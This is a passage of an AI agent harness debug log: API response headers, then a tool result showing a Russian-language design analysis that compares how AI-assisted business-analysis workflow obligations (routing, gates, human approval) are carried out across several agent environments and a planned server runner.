\"DYNAMIC\",\n[2026-09-29T07:46:40.771Z] [STDOUT]     \"cf-ray\": \"a42960158954dbb5-FRA\",\n[2026-09-29T07:46:40.774Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:40.779Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:46:40.782Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:40.786Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:40.788Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:39 GMT\",\n[2026-09-29T07:46:40.793Z] [STDOUT]     \"request-id\": \"req_011CfXMrGeGUnQ72W5pdmND3\",\n[2026-09-29T07:46:40.795Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:40.798Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=78\",\n[2026-09-29T07:46:40.801Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:40.805Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:40.807Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:40.810Z] [STDOUT]   },\n[2026-09-29T07:46:40.813Z] [STDOUT]   durationMs: 193,\n[2026-09-29T07:46:40.818Z] [STDOUT] }\n[2026-09-29T07:46:40.820Z] [STDOUT] [log_0416bb] response parsed {\n[2026-09-29T07:46:40.824Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:40.828Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:40.832Z] [STDOUT]   body: {\n[2026-09-29T07:46:40.837Z] [STDOUT]     input_tokens: 15355,\n[2026-09-29T07:46:40.848Z] [STDOUT]     _request_id: \"req_011CfXMrGeGUnQ72W5pdmND3\",\n[2026-09-29T07:46:40.856Z] [STDOUT]   },\n[2026-09-29T07:46:40.859Z] [STDOUT]   durationMs: 194,\n[2026-09-29T07:46:40.869Z] [STDOUT] }\n[2026-09-29T07:46:40.893Z] [INFO] {\n[2026-09-29T07:46:40.893Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:40.893Z] [INFO]   \"message\": {\n[2026-09-29T07:46:40.893Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:40.893Z] [INFO]     \"content\": [\n[2026-09-29T07:46:40.893Z] [INFO]       {\n[2026-09-29T07:46:40.893Z] [INFO]         \"tool_use_id\": \"toolu_01EXa7MimN8MK7WZfDqP6uxg\",\n[2026-09-29T07:46:40.893Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:40.893Z] [INFO]         \"content\": \"1\\t## \u0421\u043b\u043e\u0439 1. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n2\\t\\n3\\t\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u043d\u043e \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:\\n4\\t\u043a\u0430\u043a \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0440\u0430\u0444, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u042d\u0442\u0438\\n5\\t\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b. \u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u0441 \u0442\u0435\u043c,\\n6\\t\u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0430\u0445.\\n7\\t\\n8\\t| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0413\u0434\u0435 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | \u0421\u0440\u0435\u0434\u0430 1: \u043f\u0430\u043a\u0435\u0442 GigaCode | \u0421\u0440\u0435\u0434\u0430 2: \u043f\u0430\u043a\u0435\u0442 Cline | \u041a\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c |\\n9\\t|---------------|-------------------|--------------------------|----------------------|----------------------|\\n10\\t| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 Working \u2192 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0434\u0451\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e ([\u0413-26](#\u0433-26)) |\\n11\\t| \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443 \u0440\u0435\u0431\u0440\u0430 (`EP-R3`, `EP-R5`) | [L227, L229](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L227-L229) | 17 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432 \u0432 YAML \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f; \u0432\u0435\u0442\u0432\u0438 \u043f\u0440\u043e\u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 (`P11`) | \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442 | Runner ([\u0413-28](#\u0433-28)) |\\n12\\t| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0443\u0437\u043b\u0430 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 | [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50): `Gate` \u2014 \u00ab\u0432 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb | \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 (`P10`) | \u0422\u043e\u043b\u044c\u043a\u043e Working \u0438 Release | Runner ([\u0413-29](#\u0433-29)) |\\n13\\t| \u041e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach (`EP-R7`) | [L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231) | \u041d\u043e\u043b\u044c \u043f\u043e\u043f\u044b\u0442\u043e\u043a; \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 (`P12`) | \u041f\u043e\u0432\u0442\u043e\u0440 \u2014 \u0441 \u043d\u043e\u0432\u044b\u043c TASK ID | Runner ([\u0413-32](#\u0433-32), [\u0413-33](#\u0433-33)) |\\n14\\t| \u0412\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (`EP-R8`) | [L232](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L232) | `halt` \u2014 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 | \u041d\u0435\u0442 | Runner ([\u0413-31](#\u0433-31)) |\\n15\\t| Append-only \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 (`EP-R9`) | [L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L233) | \u0415\u0441\u0442\u044c: \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e runner | \u0415\u0441\u0442\u044c trace \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | Runner \u2014 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 ([\u0413-35](#\u0433-35)) |\\n16\\t| \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 (G-human) | `Gate` \u0432 [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50) | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0441 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 `approval` \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c ([\u0413-18 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-18)) | Runner + \u0447\u0435\u043b\u043e\u0432\u0435\u043a |\\n17\\t\\n18\\t\u0412\u044b\u0432\u043e\u0434 \u043f\u043e \u0441\u043b\u043e\u044e 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u043d\u0430\u0442\u044c \u0430\u0433\u0435\u043d\u0442\u00bb, \u0430\\n19\\t\u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0430\u0433\u0435\u043d\u0442\u0430\u00bb. \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b\\n20\\t\u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u043a \u0441\u0440\u0435\u0434\u0435, \u043a\u0440\u043e\u043c\u0435 `EP-R8`, \u0433\u0434\u0435 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439\\n21\\t\u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb ([\u0413-27](#\u0433-27)). \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n22\\t\u043c\u0435\u0441\u0442\u0435, \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u2014 \u0435\u0441\u043b\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.\\n23\\t\\n24\\t## \u0421\u043b\u043e\u0439 2. \u0421\u0440\u0435\u0434\u044b: \u043a\u0442\u043e \u043a\u0430\u043a\u0443\u044e \u0440\u043e\u043b\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n25\\t\\n26\\t\u0421\u043b\u043e\u0432\u043e \u00ab\u0441\u0440\u0435\u0434\u0430\u00bb \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0445 \u0440\u043e\u043b\u0435\u0439. \u0412 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0438 \u0438\u0445 \u043b\u0435\u0433\u043a\u043e\\n27\\t\u0441\u043c\u0435\u0448\u0430\u0442\u044c; \u043d\u0438\u0436\u0435 \u043a\u0430\u0436\u0434\u0430\u044f \u0440\u043e\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e.\\n28\\t\\n29\\t| \u0420\u043e\u043b\u044c | \u0421\u0440\u0435\u0434\u0430 1: GigaCode CLI | \u0421\u0440\u0435\u0434\u0430 2: Cline + Mango AI | \u0421\u0440\u0435\u0434\u0430 3: Qwen Chat | \u0421\u0440\u0435\u0434\u0430 4: \u0441\u0435\u0440\u0432\u0435\u0440 |\\n30\\t|------|-----------------------|---------------------------|--------------------|-----------------|\\n31\\t| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\n32\\t| \u0410\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 | \u0410\u0433\u0435\u043d\u0442 GigaCode | \u0410\u0433\u0435\u043d\u0442 Cline | \u041c\u043e\u0434\u0435\u043b\u044c \u0432 \u0447\u0430\u0442\u0435 | \u0428\u0430\u0433 runner, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0434\u0435\u043b\u044c |\\n33\\t| \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b | \u041f\u0430\u043d\u0435\u043b\u044c Cline \u0432 VS Code | \u0412\u0435\u0431-\u0447\u0430\u0442 | \u0412\u0435\u0431-\u0447\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 |\\n34\\t| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | **\u0411\u0410 \u0440\u0443\u043a\u0430\u043c\u0438** \u0447\u0435\u0440\u0435\u0437 `tools/run-task` | **\u041c\u043e\u0434\u0435\u043b\u044c** \u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 `AGENTS.md` | \u041c\u043e\u0434\u0435\u043b\u044c | Runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430 |\\n35\\t| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0438 \u0433\u0435\u0439\u0442\u043e\u0432 | `validate-package.py` \u0446\u0435\u043b\u0438\u043a\u043e\u043c | `run_task.py` \u0434\u043b\u044f Working \u0438 Release | \u041d\u0435\u0442 | \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source + CI \u0434\u043b\u044f Release |\\n36\\t| \u041a\u0430\u043d\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 \u0432 JSON, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435\u0442 | \u041a\u043d\u043e\u043f\u043a\u0430 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0432 \u0436\u0443\u0440\u043d\u0430\u043b |\\n37\\t\\n38\\t\u0421\u0442\u0440\u043e\u043a\u0430 \u00ab\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u0438 \u0435\u0441\u0442\u044c \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432: \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439\\n39\\t\u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444. \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n40\\t\u043c\u0435\u0441\u0442\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0435\u0451 \u0441\u0430\u043c\u0438: workflow, skill \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u2014 \u044d\u0442\u043e \u0442\u0435\u043a\u0441\u0442,\\n41\\t\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 hooks \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432, \u043d\u043e \u043d\u0435\\n42\\t\u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 ([\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n43\\t\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0436\u0438\u0442\u044c \u0432 runner, \u0430 \u043a\u043b\u0438\u0435\u043d\u0442 \u2014 \u0431\u044b\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a.\\n44\\t\\n45\\t## \u0421\u043b\u043e\u0439 3. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n46\\t\\n47\\t### \u041f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u0435\u0436\u043d\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439\\n48\\t\\n49\\t\u0414\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u0440\u044f\u043c\u043e.\\n50\\t\\n51\\t- **\u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4`: \u00abbuild \u2014 YAML-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0434\u0432\u0438\u0436\u043e\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d\u00bb**\\n52\\t  ([`research/ba-requirements/orchestration/30-decision-framework.md` L193](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)).\\n53\\t  YAML \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c YAML \u0432 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043d\u0435 \u0432\u043e\u0448\u0451\u043b: \u00ab\u043d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c\\n54\\t  \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b\u043e\u0441\u044c \u043a\u0430\u043a \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\u00bb. \u0414\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u043d\u0430\\n55\\t  \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0432\u0435\u0440\u0435\u043d \u0438 \u0441\u0435\u0439\u0447\u0430\u0441. \u0414\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u044b\u043b\u043a\u0430\\n56\\t  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 \u2014 \u00ab\u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb\\n57\\t  ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)):\\n58\\t  \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0431\u0449\u0438\u0439\\n59\\t  \u0436\u0443\u0440\u043d\u0430\u043b ([\u0413-36](#\u0433-36)).\\n60\\t- **\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C RFC GigaCode: \u00ab\u0412\u0432\u0435\u0441\u0442\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u2014\\n61\\t  \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb**\\n62\\t  ([RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375)).\\n63\\t  \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e, \u0430 \u043d\u0435 \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e, \u0438 \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 ([\u0413-54](#\u0433-54)).\\n64\\t  \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u0446\u0435\u043b\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435\\n65\\t  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043d\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0434\u0435\u0448\u0451\u0432\u044b\u0435 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 runner, \u0431\u0435\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e\\n66\\t  \u0434\u0432\u0438\u0436\u043a\u0430. \u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0430\u043a: \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u0432\u0438\u0436\u043e\u043a\\n67\\t  \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0443\u0436\u043d\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f,\\n68\\t  \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0436\u0443\u0440\u043d\u0430\u043b, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0438\\n69\\t  \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0432 \u0441\u0440\u0435\u0434\u0443 4.\\n70\\t- **\u041f\u043b\u0430\u043d n8n 